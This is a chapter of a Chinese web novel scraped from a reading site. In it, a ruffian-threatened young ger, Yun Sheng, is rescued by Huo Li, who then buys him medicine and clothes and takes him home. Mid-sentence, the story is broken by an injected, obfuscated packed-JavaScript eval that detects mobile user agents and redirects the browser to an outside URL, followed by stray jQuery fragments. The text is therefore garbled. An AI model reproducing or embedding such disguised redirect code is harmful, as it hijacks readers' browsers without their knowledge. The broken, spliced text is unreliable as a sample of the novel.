文趣网 > 其他小说 > 屠户的娇O小夫郎 > 6. 第6章
    “包袱里装的什么?”

    两个汉子语气凶横,一步步朝前逼近,直到云笙退进身后的巷子里。

    云笙的手腕和膝盖还在灼痛,左手抱紧包袱,右手撑着地,慢慢往后挪动。

    包袱里只有他的户帖、一个杂粮馒头、一支灌满水的竹筒、半包吃剩的酸梅子,以及霍黎给他的钱袋。

    见他一声不吭,脸上留着刀疤的汉子半蹲下来,厉声冲他吼道:“问你话呢!”

    云笙瑟缩着打了个哆嗦,结结巴巴回:“没、没什么……”

    “没什么还抱这么紧。”刀疤汉子挑着眉,脸上的疤痕愈显狰狞,活动着手腕威吓:“不给是吧,一会儿叫出声来可别怪我。”

    另一个汉子眼神轻浮打量着,看出云笙是个哥儿,眯着一双细眼,不耐道:“跟他废什么话,直接带回去,有的是时间跟他慢慢玩。”

    云笙被他露骨的目光盯得很不舒服,心在胸腔里突突直跳,身体也跟着轻轻颤抖。

    他紧紧抱着包袱,手摸到里面的竹筒,勉强让自己镇定下来。

    “别、别打我……”云笙慢慢屈起腿脚,一边解着怀里的包袱,一边哆嗦着说:“我、我都给你们……”

    刀疤汉子啧了声:“算你还识趣。”

    他看上去长得凶戾,举止间却透出几分憨傻,听了云笙的话,果真探过头来瞧。

    趁其不备,云笙摸出包袱里的竹筒和馒头,扬手一挥,一股脑儿朝他脸上砸去。

    砸完之后,抱着包袱拔腿就跑。

    膝盖磕破了皮,还在发疼,使不上太大力气,刚跑过两个门垛子,云笙就再次摔了下去。

    这次有包袱垫着,他没有磕在地上,回头一看,两个汉子已经怒气汹汹追了上来。

    云笙伸着手臂还在往前爬,他知道就算给了钱,他们也不会放过他。

    刀疤汉子啐了一口,显然是被他惹怒了,瞪着双眼,面目狰狞得吓人。

    “小贱蹄子,竟敢耍我,看我不打死你!”

    知道跑不掉了,云笙本能举起包袱挡在头顶,闭上双眼,腿脚蜷缩起来。

    却听见汉子问了句谁,紧接着,耳边传来咚地一声闷响,好像有人摔在了地上。

    拳头没落在他身上,过了会儿都没有动静,云笙才慢慢将眼睛睁开一条细缝。

    两个汉子龇牙咧嘴躺成一团。

    而在他身前,一道高大魁梧的身影背对着他,肩宽背阔,巍然挺拔。

    正是送他来投亲的霍黎。

    两个汉子脸上和身上都挨了拳头,全然没了刚才的嚣张气焰,捂着肚子哎哟直叫。

    霍黎冷眸扫了眼二人,声音比眼神更冷。

    “还不快滚。”

    见碰到了硬茬,两个汉子咧着肿起来的嘴角,互相搀扶着,连滚带爬跑出了巷子。

    待那两人跑得没了影,霍黎才转过身来,看着坐在地上惊魂未定的小哥儿。

    脸上和衣裳沾着尘土,手腕一道鲜红的擦伤,分别还不到半日,就变成了这副惨兮兮的模样。

    来之前他仔细打听过,云秀才家人丁多,吃饭的嘴也多,不确定会不会收留。

    因此,送走云笙后,他没有立马回到青柳镇,而是躲在暗处窥望。

    不出所料,果然看见云笙离开了云家。

    他一路暗中跟随,看到云笙吃馒头被小乞丐抢,又看到云笙去了茶水摊喝茶水。

    只不过中途耽搁了一会儿,回来一看,人不仅摔受了伤,还碰上了两个地痞汉子。

    若日后只有他一个小哥儿,不知道能不能活下去。

    看着他手腕上的擦伤,霍黎想了想,抿唇说了三个字。

    “跟我走。”

    -

    药铺里经年萦绕着一股微苦的草药味,已经过了晌午,来抓药的人只有零星几个。

    小伙计一手抓着秤杆称药,一手分拣着草药,捆好药包拿给客人。

    云笙乖乖坐着,双手放在腿上,面前的光被一道阴影挡住,老郎中正在看他额头上的伤口。

    手腕和膝盖都抹上了草糊糊一样的药膏,清清凉凉,缓解了擦伤带来的灼痛。

    老郎中年纪大了,眼睛不好使,凑到云笙跟前,仔仔细细看了好几遍。

    “嗯,你处理得很不错,伤口已经在愈合了。”老郎中对霍黎说:“这药膏你每日给你夫郎抹上两次,过个三五日就能好全。”

    见他们一个汉子一个哥儿,老郎中把他们错认成了一对夫夫。

    霍黎听了,先是应了句好,接着解释:“您误会了,他不是我夫郎。”

    云笙耳朵泛起一抹微红,他是知道的,在这个世界,只有成了亲的哥儿才被叫做夫郎。

    老郎中像没听到一样,抹着药膏,继续絮絮念叨:“你夫郎伤得不重,最近天热,抹了药膏很快就能好,你不用担心。”

    霍黎这次没有接话。

    小伙计送完抓药的客人,看了眼脸色窘迫的二人,插了一句话道:“郎君别多心,老头子耳背,你跟他说的,他听不清。”

    他说着拿起装药膏的瓷罐,“不过郎君尽管放心,这药膏是用几种炮制过的药材碾磨的,小哥儿用了保证连疤痕都瞧不见。”

    霍黎问:“多少钱?”

    小伙计道:“一百文。”

    云笙听了,觉得太贵,抬头看了眼霍黎,想跟他说不用买,他可以自己去找草药。

    还没等他开口,霍黎已经掏出钱袋付了钱。

    老郎中手脚不便,看完伤就坐回了柜台里,小伙计帮云笙重新缠了一条麻布。

    药膏收了一百文,这条麻布没要钱。

    原以为霍黎已经回去了,没想到还在白榆镇,又被他救了不说,还花了那么多钱买药膏。

    欠的越来越多,云笙心里愈加过意不去。

    竹筒扔出去砸坏了,馒头沾上灰被小乞儿捡去吃了,余下半包酸梅子也在打斗时撒了一地。

    包袱里只剩下了户帖和钱袋,虽多了个罐药膏,依然轻便许多。

    出了药铺,云笙抱着包袱跟在霍黎后面,想说声谢谢,一直没找到机会张口。

    霍黎只说跟他走,没说接下来去何处,眼睛张望四处着,好像在寻找什么。

    膝盖还有点疼,云笙加快步子跟着他,似是察觉到他走的吃力,走在前面的身影放慢了脚。

    下午街上闲逛的人少,有的铺子掌柜直接站在门口吆喝,看到停下脚的路人,便招呼着进去。

    “郎君要买布吗?”布铺掌柜长得面圆敦厚,笑吟吟说:“我们铺子里有最时兴的布料,要不进来瞧瞧?”

    见掌柜是个膀大腰圆的中年汉子,霍黎只在门口站了下,没有进去。

    云笙这才知道,霍黎四处张望是为了买布,因为他已经跟着走过了两家布铺。

    第三家布铺的掌柜是个年轻夫郎,没有站在门口吆喝,而是拿着炭斗在铺子里熨衣裳。

    霍黎这次只看了一眼,便毫不犹豫走了进去,云笙像条小尾巴跟在后头。

    见有客人进店,年轻夫郎随即放下炭斗过来迎客。

    一看是个汉子带着哥儿,不由地多看了两眼。

    汉子魁梧高大,衣裳干净整洁不见补丁,小哥儿却是灰扑扑的,一双草鞋毛毛糙糙,衣裳上也沾着尘土。

    云笙被看得略不自在,蜷着指头缩了缩脚。

    知道这样打量有些冒犯,年轻夫郎收回目光,浅浅一笑问:“两位要买布匹还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733242|209000||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是要做衣裳?”

    霍黎扫了眼铺子里各种颜色的布匹,问:“有做好的成衣吗?”

    看出他是要给小哥儿买,年轻夫郎连忙应道:“有的,成衣在这边,木架上这些小哥儿都能穿。”

    霍黎一个汉子不会挑,便对他道:“你挑几件他穿着好看合身的,带他去里面试试。”

    他身上的衣裳都是买的成衣,试过合身布料好就行,至于好不好看,他从没在意。

    但云笙是个小哥儿,和他这样的糙汉子不一样,他下意识觉着,小哥儿就该穿好看些。

    年轻夫郎应了声好。

    霍黎低头看到云笙脚上的草鞋,又问他:“有布鞋吗?找一双也让他试试。”

    年轻夫郎笑着说了个行,从木架上拿了几件衣裳,又拿了双布鞋,在前面带路。

    “换衣裳的屋子在里头,小哥儿随我来。”

    听了他们的对话,云笙适才反应过来,霍黎不是要买布,而是要给他买衣裳。

    还为此专门挑了一家掌柜是夫郎的布铺。

    他抬眸怯怯看了眼霍黎,霍黎拿过他怀里的包袱,示意他跟着年轻夫郎进去。

    铺子里这会儿除了他们没别的客人,霍黎一个人等在外面,哥儿试衣裳他一个汉子进去不成体统。

    没一会儿,里屋的布帘被一只手掀开,年轻夫郎带着试完衣裳的云笙走出来。

    云笙身上换了件豆青色的布衣,脸上的尘土擦干净了,脚上的草鞋也换掉了。

    虽然头发仍是乱糟糟的,看上去却顺眼了许多。

    见霍黎快看直了眼,年轻夫郎说道:“我给小哥儿试了三件,两件深色的,一件浅色的,小哥儿穿浅色的最好看。”

    知道他们是从村子里来的,他没有全给挑浅色的,村里人干活难免会弄脏,浅色的衣裳不方便。

    再者,颜色柔和鲜亮的布料向来价贵,他们做生意要厚道才能更长久。

    霍黎把两件深色的衣裳也看了看,点点头:“那就把这三件都包起来,另外再给他试双布鞋。”

    两双布鞋可以换着穿。

    年轻夫郎笑着说好。

    这次,云笙看着霍黎小声开了口:“不用买了,太多了……”

    霍黎说了句没事:“正好可以换洗。”

    说完,不等云笙推拒,他又一次直接掏出了钱袋。

    旧衣裳沾着尘土,虽打了几个补丁,但还没坏,能留着干活的时候穿。

    年轻夫郎帮着也包了起来,收了钱,笑盈盈将二人送出铺子。

    包袱再次变得鼓囊囊的,这次霍黎有帮忙拿,云笙空着手。

    布鞋比草鞋松软,新的衣裳也干干净净,他穿着一时有些不太习惯。

    逛了这么会儿,一晃已到了傍晚,太阳缓缓西斜,西边的天染上一抹淡淡的昏黄。

    街上闲逛的人没了,街头唠嗑的大娘也散了,沿街的铺子陆陆续续关了门。

    一个小哥儿只身在外着实危险,霍黎到底放心不下,拎着包袱带他走去渡口。

    他们都是孤身一人,也都双亲早亡,既都这般凄惨,小哥儿跟着他总该不会更惨。

    大不了等云笙身上的伤养好了,到时候他帮忙相看人家,把人嫁出去。

    想清楚后,霍黎回身对云笙说了句,“走吧。”

    云笙一路攥着衣角,紧紧跟在他的身后。

    户帖在包袱里,他也没有别的去处,便一直跟着霍黎走。

    冷不丁听到霍黎开口,云笙微微一愣,不知道他这是叫自己回云家,还是去别的地方。

    他脑子里甚至冒出了另一个念头,可又不敢去想,小声试探着问:“去哪儿?”

    霍黎迈开腿道:“回家。”